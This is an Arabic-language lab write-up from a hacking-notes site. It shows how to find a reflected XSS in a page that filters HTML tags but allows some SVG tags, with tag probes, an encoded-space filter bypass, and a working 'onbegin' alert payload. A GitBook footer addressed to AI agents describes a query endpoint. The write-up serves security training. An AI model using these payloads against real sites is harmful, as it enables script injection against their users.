> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xss/reflected-xss-with-svg-tags-allowed.md).

# XSS منعكس مع وسوم SVG المسموح بها

### ثغرة XSS منعكسة مع السماح ببعض وسوم SVG

ثغرة XSS. فكّر ببساطة. يحظر التطبيق وسوم HTML الشائعة لكنه يسمح بتمرير بعض وسوم SVG وبعض السمات/الأحداث. الهدف: التسبب `alert()` عبر وسم SVG.

<figure><img src="/files/eea58e4e97a5b8b30ef0bef37647e436270dda9c" alt=""><figcaption></figcaption></figure>

* تُحظر وسوم HTML التقليدية.
* يتم إجراء حصر تقريبي للوسوم المصرّح بها.

<figure><img src="/files/a3909644ce96af4a558b9e87798a25272e9e43e8" alt=""><figcaption></figcaption></figure>

* استجابة الخادم / اختبارات تُظهر الوسوم التي تم العثور عليها: `animateTransform`, `image`, `svg`, `title`.

```javascript
<svg><animateTransform a=1>
<svg><animateTransform%20§a§=1>
```

* اختبارات إدراج متتالية:
* `<svg><animateTransform a=1>` — إدراج أساسي.
* محاولة ترميز / تنويع للمسافة: `<svg><animateTransform%20a=1>` — لتجاوز التصفية.
* المتاح `onbegin` يمكن العثور على الحدث على `animateTransform`.

<figure><img src="/files/3c5321bf90c4b0ccbb30726db8d1a5f8c2e005de" alt=""><figcaption></figcaption></figure>

```javascript
<svg><animateTransform onbegin=alert(0)></animateTransform></svg>
```

<figure><img src="/files/23b0878b448d3494174877f14ccf7a97ab7ce22e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xss/reflected-xss-with-svg-tags-allowed.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
